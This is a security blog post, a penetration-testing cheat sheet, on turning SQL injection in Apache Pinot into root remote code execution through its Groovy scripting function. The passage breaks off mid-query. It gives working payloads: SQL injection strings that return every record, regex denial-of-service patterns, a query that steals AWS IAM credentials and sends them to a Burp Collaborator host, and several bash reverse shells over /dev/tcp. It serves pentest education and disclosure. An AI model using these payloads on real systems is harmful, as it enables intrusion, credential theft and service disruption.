🔒
There are new articles available, click to refresh the page.
Before yesterdayDoyensec's Blog

Apache Pinot SQLi RCE Cheat Sheet

8 June 2022 at 22:00
style.apache-pinot-sqli-rce-cheat-sheet #markdown-toc li, .apache-pinot-sqli-rce-cheat-sheet #markdown-toc ul { list-style-type: lower-roman; } .apache-pinot-sqli-rce-cheat-sheet #markdown-toc ul { margin-bottom: 0rem;}/style pThe database platform a href=https://pinot.apache.org/Apache Pinot/a has been growing in popularity. Let’s attack it!/p pThis article will help pentesters use their familiarity with classic database systems such as Postgres and MariaDB, and apply it to Pinot. In this post, we will show how a classic SQL-injection (SQLi) bug in a Pinot-backed API can be escalated to Remote Code Execution (RCE) and then discuss post-exploitation./p ul id=markdown-toc lia href=#what-is-pinot id=markdown-toc-what-is-pinotWhat Is Pinot?/a/li lia href=#essential-architectural-details id=markdown-toc-essential-architectural-detailsEssential Architectural Details/a/li lia href=#setting-up-a-test-environment id=markdown-toc-setting-up-a-test-environmentSetting Up a Test Environment/a/li lia href=#pinot-sql-syntax--injection-basics id=markdown-toc-pinot-sql-syntax--injection-basicsPinot SQL Syntax amp; Injection Basics/a ul lia href=#string-matching id=markdown-toc-string-matchingString Matching/a/li lia href=#query-options id=markdown-toc-query-optionsQuery Options/a ul lia href=#ctf-grade-sql-injection id=markdown-toc-ctf-grade-sql-injectionCTF-grade SQL injection/a/li /ul /li /ul /li lia href=#timeouts id=markdown-toc-timeoutsTimeouts/a/li lia href=#sql-injection-in-pinot id=markdown-toc-sql-injection-in-pinotSQL Injection in Pinot/a/li lia href=#rce-via-groovy id=markdown-toc-rce-via-groovyRCE via Groovy/a ul lia href=#rce-example-queries id=markdown-toc-rce-example-queriesRCE Example Queries/a/li /ul /li lia href=#use-rce-on-server-to-attack-other-nodes id=markdown-toc-use-rce-on-server-to-attack-other-nodesUse RCE on Server to Attack Other Nodes/a/li lia href=#tldr id=markdown-toc-tldrTLDR/a/li /ul h2 id=what-is-pinotWhat Is Pinot?/h2 blockquote pPinot is a real-time distributed OLAP datastore, purpose-built to provide ultra low-latency analytics, even at extremely high throughput./p /blockquote pHuh? If it helps, most articles try to explain OLAP (OnLine Analytical Processing) by showing a diagram of your 2D database table turning into a cube, but for our purposes we can ignore all the jargon./p pApache Pinot is a database system which is tuned for analytics queries (Business Intelligence) where:/p ul lidata is being streamed in, and needs to be instantly queryable/li limany users need to perform complicated queries at the same time/li lithe queries need to quickly aggregate or filter terabytes of data/li /ul pimg src=/public/images/apache-pinot-overview.png alt=Apache Pinot Overview //p pPinot was started in 2013 at a href=https://engineering.linkedin.com/teams/data/analytics-platform-apps/analytics-platforms/pinotLinkedIn/a, where it now/p blockquote ppowers some of LinkedIn’s more recognisable experiences such as Who Viewed My Profile, Job, Publisher Analytics, […] Pinot also powers LinkedIn’s internal reporting platform…/p /blockquote pPinot is unlikely to be used for storing a fairly static table of user emails and password hashes. It is more likely to be found ingesting a stream of orders or user actions from Kafka for analysis via an internal dashboard. Takeaway delivery platform UberEats gives all restaurants access to a a href=https://eng.uber.com/operating-apache-pinot/Pinot-powered dashboard/a which/p blockquote penables the owner of a restaurant to get insights from Uber Eats orders regarding customer satisfaction, popular menu items, sales, and service quality analysis. Pinot enables slicing and dicing the raw data in different ways and supports low latency queries…/p /blockquote h2 id=essential-architectural-detailsEssential Architectural Details/h2 pPinot is written in Java./p pTable data is partitioned / sharded into Segments, usually split based on timestamp, which can be stored in different places./p pApache Pinot is a cluster formed of different a href=https://docs.pinot.apache.org/v/release-0.10.0/basics/componentscomponents/a, the essential ones being Controllers, Servers and Brokers./p h3 class=no_toc id=serverServer/h3 pThe Server stores segments of data. It receives SQL queries via GRPC, executes them and returns the results./p h3 class=no_toc id=brokerBroker/h3 pThe Broker has an exposed HTTP port which clients send queries to. The Broker analyses the query and queries the Servers which have the required segments of data via GRPC. The client receives the results consolidated into a single response./p h3 class=no_toc id=controllerController/h3 pMaintains cluster metadata and manages other components. It serves admin endpoints and endpoints for uploading data./p h3 class=no_toc id=zookeeperZookeeper/h3 pApache Zookeeper is used to store cluster state and metadata. There may be multiple brokers, servers and controllers (LinkedIn claims to have more than 1000 nodes in a cluster), so Zookeeper is used to keep track of these nodes and which servers host which segments. Essentially it’s a hierarchical key-value store./p h2 id=setting-up-a-test-environmentSetting Up a Test Environment/h2 pFollowing the a href=https://docs.pinot.apache.org/basics/getting-started/kubernetes-quickstartKubernetes quickstart/a in Minikube is an easy way to create a multi-node environment. The documentation walks through the steps to install the Pinot Helm chart, set up ingestion via Kafka, and expose port 9000 of the Controller to access the query editor and cluster management UI. If things break horrifically, you can just code class=language-plaintext highlighter-rougeminikube delete/code to wipe everything and start again./p pThe only recommendations are to:/p ul liSet code class=language-plaintext highlighter-rougeimage.tag/code in code class=language-plaintext highlighter-rougekubernetes/helm/pinot/values.yaml/code to a specific Pinot release (e.g. code class=language-plaintext highlighter-rougerelease-0.10.0/code) rather than code class=language-plaintext highlighter-rougelatest/code to test a specific version./li liInstall the Pinot chart from code class=language-plaintext highlighter-rouge./kubernetes/helm/pinot/code to use your local configuration changes rather than code class=language-plaintext highlighter-rougepinot/pinot/code which fetches values from the Github master branch./li liUse code class=language-plaintext highlighter-rougestern -n pinot-quickstart pinot/code to tail logs from all nodes./li /ul h2 id=pinot-sql-syntax--injection-basicsPinot SQL Syntax amp; Injection Basics/h2 pWhile Pinot syntax is based on Apache Calcite, many features in the a href=https://calcite.apache.org/docs/reference.htmlCalcite reference/a are unsupported in Pinot. Here are some useful language features which may help to identify and test a Pinot backend./p h3 class=no_toc id=stringsStrings/h3 pStrings are surrounded by single-quotes. Single-quotes can be escaped with another single-quote. Double quotes denote identifiers e.g. column names./p h4 class=no_toc id=string-concatenationString concatenation/h4 pPerformed by the 3-parameter function code class=language-plaintext highlighter-rougeCONCAT(str1, str2, separator)/code. The code class=language-plaintext highlighter-rouge+/code sign only works with numbers./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=nvsomeColumn/spanspan class=p,/span span class=s1'a /spanspan class=se''/spanspan class=s1string/spanspan class=se''/spanspan class=s1 with quotes'/spanspan class=p,/span span class=nCONCAT/spanspan class=p(/spanspan class=s1'abc'/spanspan class=p,/spanspan class=s1'efg'/spanspan class=p,/spanspan class=s1'd'/spanspan class=p)/span span class=kFROM/span span class=nmyTable/span /code/pre/div/div h4 class=no_toc id=substringsSubstrings/h4 pcode class=language-plaintext highlighter-rougeSUBSTR(col, startIndex, endIndex)/code where indexes start at 0 and can be negative to count from the end. This is different from Postgres and MySQL where the last parameter is a length./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=nSUBSTR/spanspan class=p(/spanspan class=s1'abcdef'/spanspan class=p,/span span class=o-/spanspan class=mi3/spanspan class=p,/span span class=o-/spanspan class=mi1/spanspan class=p)/span span class=kFROM/span span class=nignoreMe/span span class=c1-- 'def'/span /code/pre/div/div h4 class=no_toc id=lengthLength/h4 pcode class=language-plaintext highlighter-rougeLENGTH(str)/code/p h3 class=no_toc id=commentsComments/h3 pLine comments code class=language-plaintext highlighter-rouge--/code do not require surrounding whitespace. Multiline comments code class=language-plaintext highlighter-rouge/* *//code raise an error if the closing code class=language-plaintext highlighter-rouge*//code is missing./p h3 class=no_toc id=filtersFilters/h3 pBasic code class=language-plaintext highlighter-rougeWHERE/code filters need to reference a column. Filters which do not operate on any column will raise errors, so SQLi payloads such as code class=language-plaintext highlighter-rouge' OR ''='/code will fail:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=nairlineStatsAvro/span span class=kWHERE/span span class=mi1/span span class=o=/span span class=mi1/span span class=c1-- QueryExecutionError:/span span class=c1-- java.lang.NullPointerException: ColumnMetadata for 1 should not be null./span span class=c1-- Potentially invalid column name specified./span span class=kSELECT/span span class=o*/span span class=kFROM/span span class=nairlineStatsAvro/span span class=kWHERE/span span class=nbyear/spanspan class=p(/spanspan class=nNOW/spanspan class=p())/span span class=ogt;/span span class=mi0/span span class=c1-- QueryExecutionError:/span span class=c1-- java.lang.NullPointerException: ColumnMetadata for 2022 should not be null./span span class=c1-- Potentially invalid column name specified./span /code/pre/div/div pAs long as you know a valid column name, you can still return all records e.g.:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=nairlineStatsAvro/span span class=kWHERE/span span class=mi0/span span class=o=/span span class=nbYear/span span class=o-/span span class=nbYear/span span class=kAND/span span class=nArrTimeBlk/span span class=o!=/span span class=s1'blahblah-bc'/span /code/pre/div/div h3 class=no_toc id=betweenBETWEEN/h3 div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=ntranscript/span span class=kWHERE/span span class=nstudentID/span span class=kbetween/span span class=mi201/span span class=kand/span span class=mi300/span /code/pre/div/div h3 class=no_toc id=inIN/h3 pUse code class=language-plaintext highlighter-rougecol IN (literal1, literal2, ...)/code./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=ntranscript/span span class=kWHERE/span span class=kUPPER/spanspan class=p(/spanspan class=nfirstName/spanspan class=p)/span span class=kIN/span span class=p(/spanspan class=s1'NICK'/spanspan class=p,/spanspan class=s1'LUCY'/spanspan class=p)/span /code/pre/div/div h3 id=string-matchingString Matching/h3 pIn code class=language-plaintext highlighter-rougeLIKE/code filters, code class=language-plaintext highlighter-rouge%/code and code class=language-plaintext highlighter-rouge_/code are a href=https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/utils/RegexpPatternConverterUtils.java#L32-L37converted/a to regular expression patterns code class=language-plaintext highlighter-rouge.*/code and code class=language-plaintext highlighter-rouge./code/p pThe code class=language-plaintext highlighter-rougeREGEXP_LIKE(col, regex)/code function uses a code class=language-plaintext highlighter-rougejava.util.regex.Pattern/code case-insensitive regular expression./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kWHERE/span span class=nREGEXP_LIKE/spanspan class=p(/spanspan class=nalphabet/spanspan class=p,/span span class=s1'^a[Bcd]+.*z$'/spanspan class=p)/span /code/pre/div/div pBoth methods are vulnerable to Denial of Service (DoS) if users can provide their own unsanitised search queries e.g.:/p ul licode class=language-plaintext highlighter-rougeLIKE '%%%%%%%%%%%%%zz'/code/li licode class=language-plaintext highlighter-rougeREGEXP_LIKE(col, '((((((.*)*)*)*)*)*)*zz')/code/li /ul pThese filters will run on the Pinot server at close to 100% CPU forever (OK, for a very very long time depending on the data in the column)./p h3 class=no_toc id=unionUNION/h3 pNo./p h3 class=no_toc id=stacked--batched-queriesStacked / Batched Queries/h3 pNope./p h3 class=no_toc id=joinJOIN/h3 pLimited support for joins is in development. Currently it is possible to join with offline tables with the a href=https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/lookup-udf-joincode class=language-plaintext highlighter-rougelookUp/code function/a./p h3 class=no_toc id=subqueriesSubqueries/h3 pLimited support. The subquery is supposed to return a base64-encoded IdSet. An a href=https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/filtering-with-idsetIdSet/a is a data structure (compressed bitmap or Bloom filter) where it is very fast to check if an Id belongs in the IdSet. The code class=language-plaintext highlighter-rougeIN_SUBQUERY/code (filtered on Broker) or code class=language-plaintext highlighter-rougeIN_PARTITIONED_SUBQUERY/code (filtered on Server) functions perform the subquery and then use this IdSet to filter results from the main query./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kWHERE/span span class=nIN_SUBQUERY/spanspan class=p(/span span class=nyearID/spanspan class=p,/span span class=s1'SELECT ID_SET(yearID) FROM baseballStats WHERE teamID = /spanspan class=se''/spanspan class=s1BC/spanspan class=se''/spanspan class=s1'/span span class=p)/span span class=o=/span span class=mi1/span /code/pre/div/div h3 class=no_toc id=database-versionDatabase Version/h3 pIt is common to code class=language-plaintext highlighter-rougeSELECT @@VERSION/code or code class=language-plaintext highlighter-rougeSELECT VERSION()/code when fingerprinting database servers. Pinot lacks this feature. Instead, the presence or absence of a href=https://docs.pinot.apache.org/users/user-guide-query/supported-transformationsfunctions/a and other language features must be used to identify a Pinot server version./p h3 class=no_toc id=information-schema-tablesInformation Schema Tables/h3 pNo./p h3 class=no_toc id=data-typesData Types/h3 pSome Pinot functions are sensitive to the column types in use (INT, LONG, BYTES, STRING, FLOAT, DOUBLE). The hash functions like a href=https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/function/scalar/HashFunctions.java#L62-L71SHA512/a, for instance, will only operate on code class=language-plaintext highlighter-rougeBYTES/code columns and not code class=language-plaintext highlighter-rougeSTRING/code columns. Luckily, we can find the undocumented a href=https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/function/scalar/StringFunctions.java#L352-L360toUtf8/a function in the source code and convert strings into bytes:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=nmd5/spanspan class=p(/spanspan class=ntoUtf8/spanspan class=p(/spanspan class=nsomestring/spanspan class=p))/span span class=kFROM/span span class=ktable/span /code/pre/div/div h3 class=no_toc id=caseCASE/h3 pSimple case:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=kCASE/span span class=nfirstName/span span class=kWHEN/span span class=s1'Lucy'/span span class=kTHEN/span span class=mi1/span span class=kWHEN/span span class=s1'Bob'/spanspan class=p,/span span class=s1'Nick'/span span class=kTHEN/span span class=mi2/span span class=kELSE/span span class=s1'x'/span span class=kEND/span span class=kFROM/span span class=ntranscript/span /code/pre/div/div pSearched case:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=kCASE/span span class=kWHEN/span span class=nfirstName/span span class=o=/span span class=s1'Lucy'/span span class=kTHEN/span span class=mi1/span span class=kWHEN/span span class=nfirstName/span span class=o=/span span class=s1'Bob'/span span class=kTHEN/span span class=mi2/spanspan class=p./spanspan class=mi1/span span class=kELSE/span span class=s1'x'/span span class=kEND/span span class=kFROM/span span class=ntranscript/span /code/pre/div/div h3 id=query-optionsQuery Options/h3 pCertain a href=https://github.com/apache/pinot/blob/81bda1d26a5c5173864e6edc3081e7135041f4f1/pinot-spi/src/main/java/org/apache/pinot/spi/utils/CommonConstants.java#L263-L283query options/a such as timeouts can be added with code class=language-plaintext highlighter-rougeOPTION(key=value,key2=value2)/code. Strangely enough, this can be added anywhere inside the query, and I mean emanywhere/em!/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=nstudentID/spanspan class=p,/span span class=nfirstOPTION/spanspan class=p(/spanspan class=ntimeoutMs/spanspan class=o=/spanspan class=mi1/spanspan class=p)/spanspan class=nName/span span class=nfroOPTION/spanspan class=p(/spanspan class=ntimeoutMs/spanspan class=o=/spanspan class=mi1/spanspan class=p)/spanspan class=nm/span span class=ntranOPTION/spanspan class=p(/spanspan class=ntimeoutMs/spanspan class=o=/spanspan class=mi2/spanspan class=p)/spanspan class=nscript/span span class=kWHERE/span span class=nfirstName/span span class=kOPTION/spanspan class=p(/spanspan class=ntimeoutMs/spanspan class=o=/spanspan class=mi1000/spanspan class=p)/span span class=o=/span span class=s1'Lucy'/span span class=c1-- succeeds as the final timeoutMs is long (1000ms)/span span class=kSELECT/span span class=o*/span span class=kFROM/span span class=ntranscript/span span class=kWHERE/span span class=nREGEXP_LIKE/spanspan class=p(/spanspan class=nfirstName/spanspan class=p,/span span class=s1'LuOPTION(timeoutMs=1)cy'/spanspan class=p)/span span class=c1-- BrokerTimeoutError:/span span class=c1-- Query timed out (time spent: 4ms, timeout: 1ms) for table: transcript_OFFLINE before scattering the request/span span class=c1--/span span class=c1-- With timeout 10ms, the error is:/span span class=c1-- 427: 1 servers [pinot-server-0_O] not responded/span span class=c1--/span span class=c1-- With an even larger timeout value the query succeeds and returns results for 'Lucy'./span /code/pre/div/div pYes, even inside strings!/p pstrongIn a Pinot-backed search API, queries for code class=language-plaintext highlighter-rougethingumajig/code and code class=language-plaintext highlighter-rougethinguOPTION(a=b)majig/code should return identical results,/strong assuming the characters code class=language-plaintext highlighter-rouge()=/code are not filtered by the API./p pThis is also potentially a useful WAF bypass./p pimg src=/public/images/apache-pinot-same-meme.jpg alt=They're the same picture meme //p h4 id=ctf-grade-sql-injectionCTF-grade SQL injection/h4 pIn far-fetched scenarios, this could be used to comment out parts of a SQL query, e.g. a route code class=language-plaintext highlighter-rouge/getFiles?category=)amp;title=%25oPtIoN(/code using a prepared statement to produce the SQL:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=ngchqFiles/span span class=kWHERE/span span class=ntitle/span span class=kLIKE/span span class=s1'%oPtIoN('/span span class=kand/span span class=ntopSecret/span span class=o=/span span class=kfalse/span span class=kand/span span class=ncategory/span span class=kLIKE/span span class=s1')'/span /code/pre/div/div pEverything between code class=language-plaintext highlighter-rougeOPTION(/code and the next code class=language-plaintext highlighter-rouge)/code is a href=https://github.com/apache/pinot/blob/7b9e16b65dcd63ecc339a4063a4b4269d1f8cf6f/pinot-common/src/main/java/org/apache/pinot/sql/parsers/CalciteSqlParser.java#L476-L479stripped out/a using regex code class=language-plaintext highlighter-rouge/option\s*\([^)]+\)/i/code. The query gets executed as:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=ngchqFiles/span span class=kWHERE/span span class=ntitle/span span class=kLIKE/span span class=s1'%'/span /code/pre/div/div pallowing access to all the top secret files!/p pNote that the error code class=language-plaintext highlighter-rougeOPTION statement requires two parts separated by '='/code occurs if there are the wrong number of equals signs inside the code class=language-plaintext highlighter-rougeOPTION()/code./p pAnother contrived scenario could result in SQLi and a filter bypass./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=ngchqFiles/span span class=kWHERE/span span class=nREGEXP_LIKE/spanspan class=p(/spanspan class=ntitle/spanspan class=p,/span span class=s1'oPtIoN(a=b'/spanspan class=p)/span span class=kand/span span class=knot/span span class=ntopSecret/span span class=kand/span span class=ncategory/span span class=o=/span span class=s1') OR id - id = 0--'/span /code/pre/div/div pwill be processed as/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=ngchqFiles/span span class=kWHERE/span span class=nREGEXP_LIKE/spanspan class=p(/spanspan class=ntitle/spanspan class=p,/span span class=s1' and not topSecret and category = '/spanspan class=p)/span span class=kOR/span span class=nid/span span class=o-/span span class=nid/span span class=o=/span span class=mi0/span /code/pre/div/div h2 id=timeoutsTimeouts/h2 pTimeouts do not work. While the Broker returns a timeout exception to the client when the query timeout is reached, the Server continues processing the query row by row until completion, however long that takes. There is no way to cancel an in-progress query besides killing the Server process./p h2 id=sql-injection-in-pinotSQL Injection in Pinot/h2 pTo proceed, you’ll need a SQL injection vulnerability like for any type of database backend, where malicious user input can wind up in the query body rather than being sent as parameters with prepared statements./p pPinot backends do not support prepared statements, but the Java client has a code class=language-plaintext highlighter-rougePreparedStatement/code class which a href=https://github.com/apache/pinot/blob/7b9e16b65dcd63ecc339a4063a4b4269d1f8cf6f/pinot-clients/pinot-java-client/src/main/java/org/apache/pinot/client/PreparedStatement.java#L53-L87escapes single quotes/a before sending the request to the Broker and can prevent SQLi (except the code class=language-plaintext highlighter-rougeOPTION()/code variety)./p pInjection may appear in a search query such as:/p div class=language-python highlighter-rougediv class=highlightpre class=highlightcodespan class=nquery/span span class=o=/span span class=sSELECT order_id, order_details_json FROM orders WHERE store_id IN ({stores}) AND REGEXP_LIKE(product_name,'{query}') AND refunded = false/spanspan class=p./spanspan class=nbformat/spanspan class=p(/span span class=nstores/spanspan class=o=/spanspan class=nuser/spanspan class=p./spanspan class=nstores/spanspan class=p,/span span class=nquery/spanspan class=o=/spanspan class=nrequest/spanspan class=p./spanspan class=nquery/spanspan class=p,/span span class=p)/span /code/pre/div/div pThe code class=language-plaintext highlighter-rougequery/code parameter can be abused for SQL injection to return strongall orders in the system/strong without the restriction to specific store IDs. An example payload is code class=language-plaintext highlighter-rouge!xyz') OR store_id - store_id = 0 OR (product_name = 'abc!/code which will produce the following SQL query:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=norder_id/spanspan class=p,/span span class=norder_details_json/span span class=kFROM/span span class=norders/span span class=kWHERE/span span class=nstore_id/span span class=kIN/span span class=p(/spanspan class=mi12/spanspan class=p,/span span class=mi34/spanspan class=p,/span span class=mi56/spanspan class=p)/span span class=kAND/span span class=nREGEXP_LIKE/spanspan class=p(/spanspan class=nproduct_name/spanspan class=p,/spanspan class=s1'!xyz'/spanspan class=p)/span span class=kOR/span span class=nstore_id/span span class=o-/span span class=nstore_id/span span class=o=/span span class=mi0/span span class=kOR/span span class=p(/spanspan class=nproduct_name/span span class=o=/span span class=s1'abc!'/spanspan class=p)/span span class=kAND/span span class=nrefunded/span span class=o=/span span class=kfalse/span /code/pre/div/div pThe logical split happens on the code class=language-plaintext highlighter-rougeOR/code, so records will be returned if either:/p ul licode class=language-plaintext highlighter-rougestore_id IN (12, 34, 56) AND REGEXP_LIKE(product_name,'!xyz')/code (unlikely to have any results)/li licode class=language-plaintext highlighter-rougestore_id - store_id = 0/code (always true, so all records are returned)/li licode class=language-plaintext highlighter-rouge(product_name = 'abc!') AND refunded = false/code (unlikely to have any results)/li /ul pIf the query template used by the target has no new lines, the query can alternatively be ended with a line comment code class=language-plaintext highlighter-rouge!xyz') OR store_id - store_id = 0--/code./p h2 id=rce-via-groovyRCE via Groovy/h2 pWhile maturity is bringing improvements, secure design has not always been a priority. Pinot trusts anyone who can query the database to also execute code on the Server, as strongroot/strong 😲. This delfeature/del gaping security hole is enabled by default in all released versions of Apache Pinot. It was disabled by default in a href=https://github.com/apache/pinot/pull/8711a commit on May 17, 2022/a but this commit has not yet made it into a release./p pScripts are written in the Groovy language. This is a JVM-based language, allowing you to use all your favourite Java methods. Here’s some Groovy syntax you might care about:/p div class=language-groovy highlighter-rougediv class=highlightpre class=highlightcodespan class=c1// print to Server log (only going to be useful when testing locally)/span span class=nprintln/span span class=mi3/span span class=c1// make a variable/span span class=ktdef/span span class=ndata/span span class=o=/span span class=s1'abc'/span span class=c1// interpolation by using double quotes and $ARG or ${ARG}/span span class=ktdef/span span class=nmoredata/span span class=o=/span span class=s2${data}def/span span class=c1// abcdef/span span class=c1// execute shell command, wait for completion and then return stdout/span span class=s1'whoami'/spanspan class=o./spanspan class=naexecute/spanspan class=o()./spanspan class=natext/span span class=c1// launch shell command, but do not wait for completion/span span class=s2touch /tmp/$arg0/spanspan class=o./spanspan class=naexecute/spanspan class=o()/span span class=c1// execute shell command with array syntax, helps avoid quote-escaping hell/span span class=o[/spanspan class=s2bash/spanspan class=o,/span span class=s2-c/spanspan class=o,/span span class=s2bash -i gt;amp; /dev/tcp/192.168.0.4/53 0gt;amp;1 amp;/spanspan class=o]./spanspan class=naexecute/spanspan class=o()/span span class=c1// a semicolon must be placed after the final closing bracket of an if-else block/span span class=kif/span span class=o(/spanspan class=kctrue/spanspan class=o)/span span class=o{/span span class=na/spanspan class=o()/span span class=o}/span span class=kelse/span span class=o{/span span class=nb/spanspan class=o()/span span class=o};/span span class=kreturn/span span class=s2a/span /code/pre/div/div pTo execute Groovy, use:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeGROOVY( '{returnType:INT or STRING or some other data type,isSingleValue:true}', 'groovy code on one line', MaybeAColumnName, MaybeAnotherColumnName ) /code/pre/div/div pIf columns (or transform functions) are specified after the groovy code, they appear as variables code class=language-plaintext highlighter-rougearg0/code, code class=language-plaintext highlighter-rougearg1/code, etc. in the Groovy script./p h3 id=rce-example-queriesRCE Example Queries/h3 h4 class=no_toc id=whoamiWhoami/h4 div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=nmyTable/span span class=kWHERE/span span class=ngroovy/spanspan class=p(/span span class=s1'{returnType:INT,isSingleValue:true}'/spanspan class=p,/span span class=s1'println whoami.execute().text; return 1'/span span class=p)/span span class=o=/span span class=mi1/span span class=klimit/span span class=mi5/span /code/pre/div/div pPrints code class=language-plaintext highlighter-rougeroot/code to the log! The official Pinot docker images run Groovy scripts as root./p pNote that:/p ol liThe Groovy function is an exception to the a href=#filtersearlier rule/a requiring filters to include a column name./li liEven though the limit is 5, every row in each segment being searched is processed. Once 5 rows are reached, the query returns results to the Broker, but the code class=language-plaintext highlighter-rougeroot/code lines continue being printed to the log./li liThe return and comparison values need not be the same. However the types must match code class=language-plaintext highlighter-rougereturnType/code in the metadata JSON (here code class=language-plaintext highlighter-rougeINT/code)./li liThe code class=language-plaintext highlighter-rougereturn/code keyword is optional for the final statement, so the script could could end with code class=language-plaintext highlighter-rouge; 1/code./li /ol div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=nmyTable/span span class=kWHERE/span span class=ngroovy/spanspan class=p(/span span class=s1'{returnType:INT,isSingleValue:true}'/spanspan class=p,/span span class=s1'println hello $arg0; touch /tmp/id-$arg0.execute(); 42'/spanspan class=p,/span span class=nid/span span class=p)/span span class=o=/span span class=mi3/span /code/pre/div/div pIn code class=language-plaintext highlighter-rouge/tmp/code, expect root-owned files code class=language-plaintext highlighter-rougeid-1/code, code class=language-plaintext highlighter-rougeid-2/code, code class=language-plaintext highlighter-rougeid-3/code, etc. for each row./p h4 class=no_toc id=awsAWS/h4 pSteal temporary AWS IAM credentials from pinot-server./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=nmyTable/span span class=kWHERE/span span class=ngroovy/spanspan class=p(/span span class=s1'{returnType:INT,isSingleValue:true}'/spanspan class=p,/span span class=nCONCAT/spanspan class=p(/spanspan class=nCONCAT/spanspan class=p(/spanspan class=nCONCAT/spanspan class=p(/spanspan class=nCONCAT/spanspan class=p(/span span class=s1'def aws = 169.254.169.254/latest/meta-data/iam/security-credentials/;'/spanspan class=p,/span span class=s1'def collab = xyz.burpcollaborator.net/;'/spanspan class=p,/span span class=s1''/spanspan class=p),/spanspan class=s1'def role = curl -s ${aws}.execute().text.split(/spanspan class=se\n/spanspan class=s1)[0].trim();'/spanspan class=p,/span span class=s1''/spanspan class=p),/spanspan class=s1'def creds = curl -s ${aws}${role}.execute().text;'/spanspan class=p,/span span class=s1''/spanspan class=p),/spanspan class=s1'[curl, collab, --data, creds].execute(); 0'/spanspan class=p,/span span class=s1''/spanspan class=p)/span span class=p)/span span class=o=/span span class=mi1/span /code/pre/div/div pCould give access to cloud resources like S3. The code can of course be adapted to work with IMDSv2./p h4 class=no_toc id=reverse-shellReverse Shell/h4 pThe goal is really to have a root shell from which to explore the cluster at your leisure without your commands appearing in query logs. You can use the following:/p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=nmyTable/span span class=kWHERE/span span class=ngroovy/spanspan class=p(/span span class=s1'{returnType:INT,isSingleValue:true}'/spanspan class=p,/span span class=s1'[bash, -c, bash -i gt;amp; /dev/tcp/192.168.0.4/443 0gt;amp;1 amp;].execute(); return 1'/span span class=p)/span span class=o=/span span class=mi1/span /code/pre/div/div pto spawn loads of reverse shells at the same time, one per row./p div class=language-plaintext highlighter-rougediv class=highlightpre [email protected]:/opt/pinot# /code/pre/div/div pYou will be root on whichever Server instances are chosen by the broker based on which Servers contain the required table segments for the query./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=nmyTable/span span class=kWHERE/span span class=ngroovy/spanspan class=p(/span span class=s1'{returnType:STRING,isSingleValue:true}'/spanspan class=p,/span span class=s1'[bash, -c, bash -i gt;amp; /dev/tcp/192.168.0.4/4444 0gt;amp;1 amp;].execute().text'/span span class=p)/span span class=o=/span span class=s1'x'/span /code/pre/div/div pThis launches one reverse shell. If you accidentally kill the shell, however far into the future, a new reverse shell attempt will be spawned as the Server processes the next row. Yes, the client and Broker will see the query timeout, but the Server will continue executing the query until completion./p h3 class=no_toc id=tuningTuning/h3 pWhen coming across Pinot for the first time on an engagement, we used a Groovy query similar to the AWS one above. However, as you can already guess, this launched tens of thousands of requests at Burp Collaborator over a span of several hours with no way to stop the runaway query besides confessing our sin to the client./p pTo avoid spawning thousands of processes and causing performance degradation and potentially a Denial of Service, limit execution to a single row with an code class=language-plaintext highlighter-rougeif/code statement in Groovy./p div class=language-sql highlighter-rougediv class=highlightpre class=highlightcodespan class=kSELECT/span span class=o*/span span class=kFROM/span span class=nmyTable/span span class=kWHERE/span span class=ngroovy/spanspan class=p(/span span class=s1'{returnType:INT,isSingleValue:true}'/spanspan class=p,/span span class=nCONCAT/spanspan class=p(/spanspan class=nCONCAT/spanspan class=p(/spanspan class=nCONCAT/spanspan class=p(/spanspan class=nCONCAT/spanspan class=p(/span span class=s1'if (arg0 == 489) {'/spanspan class=p,/span span class=s1'[bash, -c, bash -i gt;amp; /dev/tcp/192.168.0.4/4444 0gt;amp;1 amp;].execute();'/spanspan class=p,/span span class=s1''/spanspan class=p),/spanspan class=s1'return 1;'/spanspan class=p,/span span class=s1''/spanspan class=p),/spanspan class=s1'};'/spanspan 